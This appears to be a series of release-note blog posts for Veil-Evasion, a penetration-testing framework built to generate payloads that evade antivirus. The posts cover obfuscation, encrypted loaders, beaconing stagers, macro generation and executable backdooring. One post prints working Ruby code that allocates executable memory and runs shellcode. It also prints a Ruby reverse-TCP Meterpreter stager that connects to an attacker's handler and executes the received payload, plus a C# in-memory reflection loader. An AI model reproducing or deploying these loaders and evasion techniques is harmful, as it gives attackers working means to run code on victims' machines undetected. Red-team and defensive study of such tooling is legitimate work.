February 2016 V-Day

This February we have a few updates to Veil-Evasion.  First, we’ve upgraded the version of PyInstaller that’s used by Veil-Evasion from pyinstaller 2 to 3.1.  One extra feature that this allows is the ability to encrypt the bytecode that pyinstaller outputs.  We’re using this feature by generating a random key each time Veil-Evasion runs and supplying that when using PyInstaller to convert the python code into a Windows executable.

The other modification to Veil-Evasion is I’ve added some obfuscation to the python payloads themselves.  I’ve identified some areas where different AVs are trying to flag the python payloads, so this should help with some of the detection issues.  Other possibly signatures have been found as well, but I’m waiting to see how AV companies respond to this new obfuscation.

Thanks, hope that this can help, and good luck!  #avlol

November 2015 V-Day


This month I’ve added in two different modules for our November 2015 V-Day, and both are in relation to our powershell payloads!

First, I built on top of our download and inject HTTP powershell module and added the ability to download code on the fly from a HTTPS server.  This module will download code from HTTPS protected web servers that are not using a valid cert (read self-signed).

Next, another auxiliary module was added into Veil-Evasion.  We built a module upon khr0x40sh’s blog post where Veil-Evasion’s powershell/shellcode_inject/virtual payload was converted into macro code.  This new auxiliary module simply takes the steps documented in the blog post and automates the process.  It will output a text file containing the code that just needs to be pasted in, and you will then have a valid working macro.  The only option you will need to specify is if you are going to be running the code on a x86 or x64 system.

We hope that this helps, and we still have plenty more module for future releases!  Let me know in #Veil on freenode if you have any questions!

June 2015 V-Day!

Hello, and welcome to June’s V-Day!

This month, we received a python payload that was created by Alex Rymdeko-Harvey (@Killswitch_GUI)!  This payload works by having the user specify a URL that the payload should beacon back to, and how often it should beacon back.  The following is a step-by-step description of how the module works:

  1. The module will create a web page containing a fake wordpress login.
  2. The fake page will be md5ed, and the hash will be used to encrypt the shellcode stored inside the executable.
  3. Once the executable has been placed on a machine and run, it will beacon to the URL specified looking for the web page.
  4. Once the web server returns a 200, the executable will md5 the web page, and attempt to use that hash to decrypt the shellcode, and execute it in memory.
  5. If the page doesn’t return a 200, the executable will sleep until it’s time to beacon out again.

The nice part about this module is you can choose when your payloads are allowed to execute.  Since no key is stored within the executable, the only time a payload can inject its shellcode is if the page it is beaconing back to is live.

If you want to read more about this, check out the author’s blog post here: http://cybersyndicates.com/2015/06/veil-evasion-aes-encrypted-httpkey-request-module/

Thanks, and enjoy!

On Your Mark, Get Set, Go! – May V-Day

Hello all!

This month we’re really happy to be introducing a new language into the Veil-Framework for bypassing antivirus.  So far, we have Python, C, C#, Powershell, and Ruby.  As you probably can guess, we are happy to be adding in support for Go!

To use Go payloads, the first thing you will need to do is re-run the setup script that comes bundled with Veil-Evasion.  This will auto download Go and compile from source in a method that allows go to cross-compile and create Windows executables within Linux.

Once installed, you will see there are currently four different Go payloads available in the framework.  One of the payloads is the traditional shellcode injection payload, and the others are pure Go meterpreter stagers.  The Go payloads were submitted to us by @b00stfr3ak44, we definitely appreciate them being sent our way for the community to use!

We’d love to continue to encourage people to create new payloads, in any language that you think would be fun. If you’d be willing to send a payload you’ve created to us to include within Veil-Evasion, we’d be happy to do anything we can to help you along the way.



April V-Day – BDF Updates!

Hello All!

For our April V-Day, we’ve been working with our friend Josh (@midnite_runr) to get the latest Backdoor Factory updates added in to Veil-Evasion.  There’s been a number of updates to Backdoor Factory lately that had yet to be added in, but we should have them all included now.  One of the most recent changes includes automatic PE patching when backdooring an executable.  @Midnite_runr has been working on adding that feature in for some time, so it’s awesome that his hard work has paid off!  He’s documented a lot of the updates in this video.

If you have any questions, feel free to ask in #Veil on Freenode, and thanks to @midnite_runr for his awesome work!

March V-Day

Hello All!

For this (late) March V-Day, we’re happy to add in a module that was developed and submitted to us from @byt3bl33d3r!  This is a python based beaconing payload.  The payload was based off of the original POC from @midnite_runr (available here).

If configured to beacon out for data, the payload will continuously call back to a system of the attacker’s choice every X seconds.  Once the beacon receives data (a web server 200 code) from the web server, it will attempt to inject the data into memory and execute it.

To use this payload, you will want to dump the raw shellcode to a file, vs. storing it in a \x1f\xbc… format.

Thanks to @midnite_runr for the original POC and thanks to @byt3bl33d3r for not only writing the module, but working with us to get it ready for release!

January 2015 V-Day!

Welcome to 2015!  For our January 2015 V-Day, we have a small addition to our Ruby shellcode injection payload.  Currently, the payloads are injection shellcode into memory using the VirtualAlloc API call routine, but this was the only method.  We’ve just added in the ability to inject shellcode into memory via HeapCreate and HeapAlloc.

Additionally, the Metasploit Project devs have updated Meterpreter to version 0.0.13.  We’ve just added support for the latest version of Meterpreter in Veil-Evasion.

If anyone has any questions, feel free to reach out to us!


A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

require 'rubygems'
require 'win32/api'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# our shellcode
payload = "\xfc\xe8\x89..."

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

require 'rubygems'
require 'win32/api'
require 'socket'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# needed to translate a ruby socket into an actual system file descriptor / socket num
get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')

# connect to our handler
s = TCPSocket.open('', 4444)

# read/decode the size of the metepreter payload being transmitted
payloadLength = Integer(s.recv(4).unpack('L')[0])

# 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below)
payload = "     "

# make sure we get all of the meterpreter payload
while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678
payload[0] = ['BF'].pack("H*")
socketID = get_osfhandle.call(s.fileno)

# copy in the underlying socket ID into the buffer
for i in 1..4
payload[i] = Array(socketID).pack('V')[i-1]

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)


With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:

Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:


Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:


If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:


When you hit this screen, tab over to <Yes> to accept the EULA:


And when you his this screen, click Yes to overwrite the existing files:


Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :


After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.

August 15th V-Day: Smash and Pillage

We have a two-part release for everyone this V-Day. First, we have two new PowerShell stagers for Veil-Evasion, powershell/meterpreter/rev_http and powershell/meterpreter/rev_https. For some more background on how the reverse_http[s] stagers work, check out the post on the Python versions of those stagers. As with the other versions of these stagers, we get Beacon compatibility for free as well.

Second, a new tool for the Veil-Framework was released last week at Defcon 22. Veil-Pillage is a modular post-exploitation framework that subsumes Veil-Catapult and implements a ton more features. The slides for the presentation on pillage given at Defcon, “Veil-Pillage: Post-Exploitation 2.0” are located here on slideshare, and the three recorded demos given during the presentation are available here. Once the video of the presentation is online this post will be updated. We’ll have some posts in the upcoming weeks covering Veil-Pillage’s feature set, modules, use cases and more. We also have a few Pillage module ideas in the pipeline, which will be released on the 1st of each month.

And a big thank you to everyone at Hacker Summer Camp. We have a great time talking to everyone about the Veil-Framework at Blackhat Arsenal (slides here), and the response to the Defcon presentation has been awesome. We appreciate everyone’s support and hope to keep releasing more cool stuff over the next year!

July 15th V-Day

For our V-Day release this month, we have some more PowerShell goodness for everyone. Veil-Evasion v2.10.0, now in the master branch, includes powershell/meterpreter/rev_tcp, a native shellcode-less stager conceptually similar to some of our previous releases. Utilizing similar .dll import functionality as some of our previous modules, and originally drawn from Matthew Graeber’s article on shellcode injection with PowerShell, we can achieve the same native-stager functionality without having to rely on shellcode.

The Backdoor Factory payload within Veil-Evasion, which now uses the Capstone Engine, has also been updated (and just had its own wiki stood up)! Be sure to rerun Veil-Evasion’s ./setup/setup.sh script to install the necessary dependencies for the new BDF version.

We’ve also got a big release coming up next month, with the debut of a newest tool in the Veil-Framework, Veil-Pillage, going down at Defcon. If you’re around at Blackhat, come check out the Veil-Framework presentation at Blackhat Arsenal. We’ll also have two new Veil-Evasion payload modules ready for release on August 15th. And on a sidenote, Veil-PowerView was a part of Powershell Magazine’s security special– be sure to check out the other great articles in the series!